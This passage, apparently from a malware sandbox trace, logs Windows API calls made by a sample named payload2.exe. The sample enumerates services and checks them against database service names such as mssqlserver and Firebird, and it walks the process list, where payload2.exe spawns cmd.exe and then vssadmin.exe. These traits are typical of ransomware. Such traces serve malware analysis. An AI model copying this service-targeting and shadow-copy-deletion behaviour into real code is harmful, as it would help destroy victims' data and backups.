	[0184.597] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0184.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0184.597] lstrlenW (lpString="SamSs") returned 5
	[0184.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0184.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0184.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0184.598] lstrlenW (lpString="Schedule") returned 8
	[0184.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0184.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0184.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0184.598] lstrlenW (lpString="SecurityHealthService") returned 21
	[0184.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0184.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0184.598] lstrlenW (lpString="SENS") returned 4
	[0184.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0184.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0184.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0184.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0184.598] lstrlenW (lpString="ShellHWDetection") returned 16
	[0184.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0184.599] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0184.599] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0184.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0184.599] lstrlenW (lpString="Spooler") returned 7
	[0184.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0184.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0184.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0184.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0184.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0184.599] lstrlenW (lpString="StateRepository") returned 15
	[0184.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0184.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0184.599] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0184.599] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0184.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0184.599] lstrlenW (lpString="SysMain") returned 7
	[0184.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0184.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0184.600] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0184.600] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0184.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0184.600] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0184.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0184.600] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0184.600] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0184.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0184.600] lstrlenW (lpString="Themes") returned 6
	[0184.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0184.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0184.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0184.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0184.600] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0184.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac
	[0184.838] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0184.839] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0184.840] lstrlenW (lpString="System") returned 6
	[0184.840] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0184.841] lstrlenW (lpString="smss.exe") returned 8
	[0184.841] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.842] lstrlenW (lpString="csrss.exe") returned 9
	[0184.842] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0184.842] lstrlenW (lpString="wininit.exe") returned 11
	[0184.843] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0184.843] lstrlenW (lpString="csrss.exe") returned 9
	[0184.843] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0184.844] lstrlenW (lpString="winlogon.exe") returned 12
	[0184.844] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0184.845] lstrlenW (lpString="services.exe") returned 12
	[0184.845] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0184.846] lstrlenW (lpString="lsass.exe") returned 9
	[0184.846] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.846] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.846] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0184.847] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0184.847] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.848] lstrlenW (lpString="svchost.exe") returned 11
	[0184.848] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.848] lstrlenW (lpString="svchost.exe") returned 11
	[0184.849] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0184.849] lstrlenW (lpString="dwm.exe") returned 7
	[0184.849] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.850] lstrlenW (lpString="svchost.exe") returned 11
	[0184.850] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.851] lstrlenW (lpString="svchost.exe") returned 11
	[0184.851] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.851] lstrlenW (lpString="svchost.exe") returned 11
	[0184.852] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.852] lstrlenW (lpString="svchost.exe") returned 11
	[0184.852] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.853] lstrlenW (lpString="svchost.exe") returned 11
	[0184.853] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.854] lstrlenW (lpString="svchost.exe") returned 11
	[0184.854] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.855] lstrlenW (lpString="svchost.exe") returned 11
	[0184.855] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.856] lstrlenW (lpString="svchost.exe") returned 11
	[0184.856] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.856] lstrlenW (lpString="svchost.exe") returned 11
	[0184.856] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.857] lstrlenW (lpString="svchost.exe") returned 11
	[0184.857] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0184.858] lstrlenW (lpString="spoolsv.exe") returned 11
	[0184.858] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.859] lstrlenW (lpString="svchost.exe") returned 11
	[0184.859] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0184.860] lstrlenW (lpString="audiodg.exe") returned 11
	[0184.860] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0184.860] lstrlenW (lpString="sihost.exe") returned 10
	[0184.860] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.861] lstrlenW (lpString="svchost.exe") returned 11
	[0184.861] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.862] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.862] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0184.863] lstrlenW (lpString="msoia.exe") returned 9
	[0184.863] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0184.863] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0184.864] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0184.864] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0184.864] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0184.865] lstrlenW (lpString="Memory Compression") returned 18
	[0184.865] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0184.865] lstrlenW (lpString="explorer.exe") returned 12
	[0184.865] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0185.452] lstrlenW (lpString="SearchUI.exe") returned 12
	[0185.452] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0185.452] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0185.453] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0185.453] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0185.453] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0185.454] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0185.454] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0185.454] lstrlenW (lpString="payload2.exe") returned 12
	[0185.454] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0185.455] lstrlenW (lpString="cmd.exe") returned 7
	[0185.455] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0185.455] lstrlenW (lpString="conhost.exe") returned 11
	[0185.455] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0185.456] lstrlenW (lpString="consent.exe") returned 11
	[0185.456] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0185.456] lstrlenW (lpString="vssadmin.exe") returned 12
	[0185.456] Process32NextW (in: hSnapshot=0x4ac, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0185.457] CloseHandle (hObject=0x4ac) returned 1
	[0185.457] Sleep (dwMilliseconds=0x1f4) 
	[0186.776] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668060
	[0186.777] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0186.778] GetLastError () returned 0xea
	[0186.778] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c7180
	[0186.778] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c7180, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c7180, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0186.779] CloseServiceHandle (hSCObject=0x668060) returned 1
	[0186.779] lstrlenW (lpString="Appinfo") returned 7
	[0186.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0186.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0186.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0186.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0186.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0186.779] lstrlenW (lpString="AppXSvc") returned 7
	[0186.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0186.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0186.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0186.779] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0186.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0186.780] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0186.780] lstrlenW (lpString="Audiosrv") returned 8
	[0186.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0186.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0186.780] lstrlenW (lpString="BFE") returned 3
	[0186.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0186.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0186.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0186.780] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0186.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0186.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0186.780] lstrlenW (lpString="CDPSvc") returned 6
	[0186.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0186.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
